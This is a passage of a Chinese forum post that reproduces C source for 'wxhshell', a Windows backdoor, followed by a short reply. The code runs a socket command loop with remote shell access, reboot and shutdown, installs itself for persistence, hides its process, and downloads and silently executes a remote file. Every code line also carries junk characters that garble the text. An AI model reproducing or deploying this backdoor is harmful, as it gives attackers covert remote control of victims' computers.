  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DlMT<ld  
  } E.V lz^B  
  else { *Y:;fl +v  
-o+<m4he  
    switch(cmd[0]) { jDWmI% Y.  
  {IB}g:  
  // 帮助 >/BMA;`  
  case '?': { AmyZ9r#{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !R`E+G@   
    break; 8M<\?JD~_f  
  } jTeHI|b  
  // 安装 "j2th.  
  case 'i': { u~]O #v  
    if(Install()) uK6'TJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n'5LY9"  
    else ZH~=;S-t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o)V@|i0Js  
    break; n|p(Cb#G  
    } ZC99/NWN  
  // 卸载 v,[E*qMN  
  case 'r': { sB~|V <  
    if(Uninstall()) a3f- 9LN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hw @)W  
    else (D<_ iV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |ee A>z"I  
    break; Bn4wr  
    } '{ $7Dbo  
  // 显示 wxhshell 所在路径 aVE/qXB  
  case 'p': { *!m\%*y{  
    char svExeFile[MAX_PATH]; -/g<A~+i]$  
    strcpy(svExeFile,"\n\r"); Sc.@u3  
      strcat(svExeFile,ExeFile); 1_=I\zx(  
        send(wsh,svExeFile,strlen(svExeFile),0); "hbCP4  
    break; u3G.xlHH[  
    } oAxRI+&|.  
  // 重启 3Fgl zJ  
  case 'b': { ~LfFLC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @'~7O4WH  
    if(Boot(REBOOT)) +{r~-Rn3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _k|k$qxE  
    else { _;!$1lM[  
    closesocket(wsh); ja-,6*"k  
    ExitThread(0); b_&KL_vo{|  
    } znkc@8_4  
    break; ~VKuRli|m  
    } Ux!q(9<_  
  // 关机 <Od5}  
  case 'd': { (g*mC7 HN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y0R9[ ;b07  
    if(Boot(SHUTDOWN)) * YR>u @  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :'$V7LZ5  
    else { M669G;w(K  
    closesocket(wsh); ` 'vNHY  
    ExitThread(0); *-vH64e  
    } Fy#7 <Hp  
    break; %W8*vSbx  
    }  r .`&z  
  // 获取shell 4}r.g0L  
  case 's': { cHAq[Ebp2!  
    CmdShell(wsh); }~+q S`  
    closesocket(wsh); M/abd 7q  
    ExitThread(0); '3uN]-A>D  
    break; 1G}\IK1+  
  } x,fX mgE  
  // 退出 @TraEBJGL  
  case 'x': { KlGmO;k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  84g8$~M  
    CloseIt(wsh); BGrV,h^  
    break; ] :.  
    } H?4t\pSS  
  // 离开 KX^!t3l6  
  case 'q': { t!&p5wJ*Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aJzyEb  
    closesocket(wsh); GTocN1,Z~a  
    WSACleanup(); f5`q9w_c  
    exit(1); q |Orv =v  
    break; [!S%nYs&8L  
        } ($X2SIZh  
  } }I"k=>Ycns  
  } r]B`\XWz  
G@4n]c_  
  // 提示信息 (Rs|"];?Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vPSY 1NC5  
} WX&0;Kr  
  } Ru~;awV?  
mcb|N_#n/  
  return; m4@Lml+B,  
} ^fEer  
y;VmA#k`  
// shell模块句柄 !E~czC\p6  
int CmdShell(SOCKET sock) QR\2 %}9b  
{ S#F%OIx  
STARTUPINFO si; (J5M+K\H  
ZeroMemory(&si,sizeof(si)); u|sdQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R/\qDY,@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;8Ts  
PROCESS_INFORMATION ProcessInfo; ayZWt| iHA  
char cmdline[]="cmd"; (r-8*)Qh8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LJwy,-  
  return 0; _X~xfmU  
} }Sh3AH/  
/y3Lc.-  
// 自身启动模式 }PX8#C_P  
int StartFromService(void) M6lNdK  
{ @^t1SPp  
typedef struct o9+fA H`D  
{  , D}  
  DWORD ExitStatus; r:Ok z  
  DWORD PebBaseAddress; CP LsSv5  
  DWORD AffinityMask; l}XnCOIT,  
  DWORD BasePriority; %g7B*AX]  
  ULONG UniqueProcessId; V5!mV_EoR@  
  ULONG InheritedFromUniqueProcessId; ;6q`c !p7  
}   PROCESS_BASIC_INFORMATION; v9GfudTZR  
{q/D,Rh8  
PROCNTQSIP NtQueryInformationProcess; 0[92&:c,  
,D93A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +-PFISa<r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O6b.oS '-  
q\d/-K  
  HANDLE             hProcess; 9)S,c =z83  
  PROCESS_BASIC_INFORMATION pbi; $p\0/  
`C)|}qcC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Og:aflS  
  if(NULL == hInst ) return 0; 3z!^UA>q  
Gf<%bQE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y:VY8a 4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e[g.&*!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7xfN}iHG  
)dF`L  
  if (!NtQueryInformationProcess) return 0; FJIo] p  
MmW]U24s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?1]h5Uh[b  
  if(!hProcess) return 0;  Wo,fHY  
nq*D91Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }3 S6TJ+  
$c];&)7q  
  CloseHandle(hProcess); iz:O]kI  
Vb/XT{T;b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a!mdL|eA@  
if(hProcess==NULL) return 0; t}2M8ue(&  
VcORRUp  
HMODULE hMod; HC RmW'  
char procName[255]; uE&2M>2  
unsigned long cbNeeded; F>"B7:P1:Q  
O/lu0acI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o(Q='kK  
*/ok]kX'  
  CloseHandle(hProcess); 43/!pW  
BF(Kaf;<t.  
if(strstr(procName,"services")) return 1; // 以服务启动 0Rz",Mu>  
1V;m8)RF  
  return 0; // 注册表启动 Rqun}v}  
} #QKgY7  
FfibR\dhY  
// 主模块 I#:,!vjn  
int StartWxhshell(LPSTR lpCmdLine) &h?8yV4B  
{ Dlx-mm_  
  SOCKET wsl; $m0-IyXcv  
BOOL val=TRUE; ntD8:%m  
  int port=0; K~jN"ev  
  struct sockaddr_in door; G~19Vv*;  
{p7b\=WB-  
  if(wscfg.ws_autoins) Install(); nm !H&#<  
3.D|xE]g  
port=atoi(lpCmdLine); --g? `4  
l~$Od jf  
if(port<=0) port=wscfg.ws_port; #yR@.&P  
H >1mi_1  
  WSADATA data; ~.TKzh'eB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ziG]BZ  
~MZ.988:<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rtk1 8U-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j(`V& S  
  door.sin_family = AF_INET; ZN-5W|' O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Yf[GpSej  
  door.sin_port = htons(port); IjrjLp[z$  
1" #W1im  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y%YPR=j~ &  
closesocket(wsl); |3uE"\nfA  
return 1; o,DI7sb  
} Yc~c(1VRz  
nISfRXU;  
  if(listen(wsl,2) == INVALID_SOCKET) { H^0`YQJ3  
closesocket(wsl); FW!1 0K?  
return 1; ARa9Ia{@  
} OojQG  
  Wxhshell(wsl); mx")cGGQ  
  WSACleanup(); `I)ftj%  
] KR\<MJK  
return 0; F(+dX4$  
mc}r15:<  
} YLe$Vv735  
4P$#m<;t  
// 以NT服务方式启动 XjV,wsZ=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O-YB +~"3Z  
{ ]5hGSl2  
DWORD   status = 0; ~riV9_-  
  DWORD   specificError = 0xfffffff; 6j=a   
rw]*Nxgr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qC$h~Epp4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^fbw0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <P)0Yu  
  serviceStatus.dwWin32ExitCode     = 0; X~5kgq0"  
  serviceStatus.dwServiceSpecificExitCode = 0; parc\]M  
  serviceStatus.dwCheckPoint       = 0; AHtLkfr(r  
  serviceStatus.dwWaitHint       = 0; 4.0JgX  
o 2sOf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q.]RYv}\  
  if (hServiceStatusHandle==0) return; ziBg'  
X4}Lg2ts  
status = GetLastError(); _b1w<T `  
  if (status!=NO_ERROR) Bi|XdS$G  
{ $l!+SLK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D_4UM#Tw  
    serviceStatus.dwCheckPoint       = 0; =#ls<Zo:  
    serviceStatus.dwWaitHint       = 0; no lLeRE1  
    serviceStatus.dwWin32ExitCode     = status; ~i)IY1m"  
    serviceStatus.dwServiceSpecificExitCode = specificError; vTF_`X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;*_U)th  
    return; 84$#!=v  
  } 6K zdWT  
 2t7Hu)V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "lJ [H=\  
  serviceStatus.dwCheckPoint       = 0; = ;"$t_t  
  serviceStatus.dwWaitHint       = 0; #{u>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @x z?^20N  
} Z )f\^  
.ko}m{  
// 处理NT服务事件,比如:启动、停止 ^6[o$eY3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qC?\i['`  
{ V=|X=:fuih  
switch(fdwControl) $Q!J.}P@  
{ p4-bD_  
case SERVICE_CONTROL_STOP: 4,pSC  
  serviceStatus.dwWin32ExitCode = 0; 7ZVW7%,zF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _N-JRM m<  
  serviceStatus.dwCheckPoint   = 0; iSz?V$}?  
  serviceStatus.dwWaitHint     = 0; 'aoHNZfxw  
  { ;'x\L<b/)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q[w.[]  
  } h"~GaI  
  return; 0Zv<]xO  
case SERVICE_CONTROL_PAUSE: &\0V*5tI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [rt+KA  
  break; M)oJ06`K  
case SERVICE_CONTROL_CONTINUE: $2j?Z.yEG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yIdM2#`u  
  break; Ltt+BUJc  
case SERVICE_CONTROL_INTERROGATE: !z.C}n5F  
  break; }4n?k'_s?  
}; ADa'(#+6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =_/,C  
} ages-Z_X  
&E>zvRBQ  
// 标准应用程序主函数 8I'Am"bc \  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J0hY~B~X  
{ Q*+_%n1 /  
faVR %  
// 获取操作系统版本 *&vySyt  
OsIsNt=GetOsVer(); ul',!js?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1JU1XQi  
+AT!IZrB2i  
  // 从命令行安装 /{~cUB,Um  
  if(strpbrk(lpCmdLine,"iI")) Install(); S}rW=hO  
-O ro$=%  
  // 下载执行文件 ?OU+)kgzh  
if(wscfg.ws_downexe) { !%x=o&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z~-A*{u?  
  WinExec(wscfg.ws_filenam,SW_HIDE); &@dW d  
} &x(^=sTHI  
J6H3X;vxQw  
if(!OsIsNt) { Q7]VB p4  
// 如果时win9x,隐藏进程并且设置为注册表启动 G([!(8&2Y  
HideProc(); 2_x~y|<9  
StartWxhshell(lpCmdLine); xCd9b:jG  
} 0-^wY8n-=  
else dD2N!umW  
  if(StartFromService()) jy]< q^J  
  // 以服务方式启动 #egP*{F   
  StartServiceCtrlDispatcher(DispatchTable); ]g/% w3G  
else a%-P^M;a2  
  // 普通方式启动  psg}sl/  
  StartWxhshell(lpCmdLine); 9 xvE?8;M#  
S:UtmS+K  
return 0; 'M*+HY\.0  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八